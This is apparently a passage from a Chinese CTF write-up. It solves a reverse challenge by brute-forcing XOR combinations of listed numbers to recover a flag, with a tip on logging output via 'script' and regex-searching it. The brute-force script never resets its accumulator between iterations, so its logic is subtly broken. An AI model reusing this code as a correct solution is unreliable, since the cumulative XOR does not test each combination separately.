 173167855524690381585242463414043296161603028899449630118125665233261307593525601052121277962903,
 1328135371287398682018843879095667300066820442500694217856944376268862978878503400394942612696705,
 4117570442808647688572679335481780771481111770146336113621471687653134742713621695560054296991,
 1082796078933455613148302349648071297360971195093615794573975199793058617865979195384327642949519,
 173826967948894750523527810600302472460382287952334480452515236484202394368569860647033480131050,
 1926148526062731853158569840732303453811005817255836633583274407431574365300550129320730364526148,
 576041746074522799631445170591885928961808907043509779947155037770053968111847260719001641989712,
 298331994482251759036663482326665150166062610449547071972614876214926600675927398653925319016398,
 1052527421677696645993193213526505700609834956685120728698363944650278933100105702857853287655234]
if __name__ == '__main__':
    flag = input('Input your flag: ').strip().encode()
    num = int.from_bytes(flag, 'big')
    print(num)
    #flag1 = int(flag.decode())
    flag1 = num.to_bytes( 128,'big',signed = True)
    print(flag1)
    random.seed(num)
    for i in random.choices(nums, k=5):
        num ^= i
    else:
        if num == 3777974786954196899113426690262802545626191500785179338842593781943714596052295548581660967940571319476154736949371450126516159039:
            print('Correct!')
        else:
            print('Wrong!')

直接遍历所有的情况,跑一遍代码,再用正则表达式搜索符合条件的flag

nums = [
 1978258991135969430907740146613972524912040387261480714498605437001413714048012005658525477720873,
 1414825718139831310004497635022196603261545889510259032286492681850346322299057448961219349615261,
 1471197358920577704193422061749330372697192144784994772676793648983411513291005358932035022769990,
 1095683197289929480686106401204396721653343660344305230304481285071676149806630337393361064473668,
 921996790539554852662428059590451844400982285998027884584784172033455291195472563692294712472587,
 768317485525512263520758851945293018259735364080330793974615632236110541795950958118326437487430,
 544753920998122166512884082722895849761507576602028192924568306511924098132295226512319060641414,
 87332110670036340709881571180530351791609485922184989048968644870753368056574249836210523509408,
 1814118338382323693695027271435064617570300757148890716598838416084005431401276422453072948468217,
 173167855524690381585242463414043296161603028899449630118125665233261307593525601052121277962903,
 1328135371287398682018843879095667300066820442500694217856944376268862978878503400394942612696705,
 4117570442808647688572679335481780771481111770146336113621471687653134742713621695560054296991,
 1082796078933455613148302349648071297360971195093615794573975199793058617865979195384327642949519,
 173826967948894750523527810600302472460382287952334480452515236484202394368569860647033480131050,
 1926148526062731853158569840732303453811005817255836633583274407431574365300550129320730364526148,
 576041746074522799631445170591885928961808907043509779947155037770053968111847260719001641989712,
 298331994482251759036663482326665150166062610449547071972614876214926600675927398653925319016398,
 1052527421677696645993193213526505700609834956685120728698363944650278933100105702857853287655234]
if __name__ == '__main__':
    #flag = input('Input your flag: ').strip().encode()
    #num = int.from_bytes(flag, 'big')
    num = 3777974786954196899113426690262802545626191500785179338842593781943714596052295548581660967940571319476154736949371450126516159039;
    for a1 in range(18):
        for a2 in range (18):
            for a3 in range(18):
                for a4 in range(18):
                        for a5 in range(18):
                                num ^= nums[a1]
                                num ^= nums[a2]
                                num ^= nums[a3]
                                num ^= nums[a4]
                                num ^= nums[a5]
                                flag1 = int.to_bytes(num, 54,'big',signed = True)
                                #if(flag1[0]=='W'):
                                print(flag1)

*小技巧:可以在Ubuntu虚拟机上先输入命令:

script -f log.txt
#script工具,可以记录shell终端的内容到文件中

然后再运行代码,得到一个245MB的txt文件(有亿点点大) 直接在虚拟机终端或是记事本进行正则表达式匹配都可能会使进程卡死, 所以将该txt文件拖入地表较强的编辑器010editor中,在正则表达式匹配xujc,就能得到flag

Forensics

流量

ctfshow-电子取证 - M0urn - 博客园 (cnblogs.com)

PPC

视觉神经

CTFtime.org / INS’hAck 2019 / Neurovision / Writeup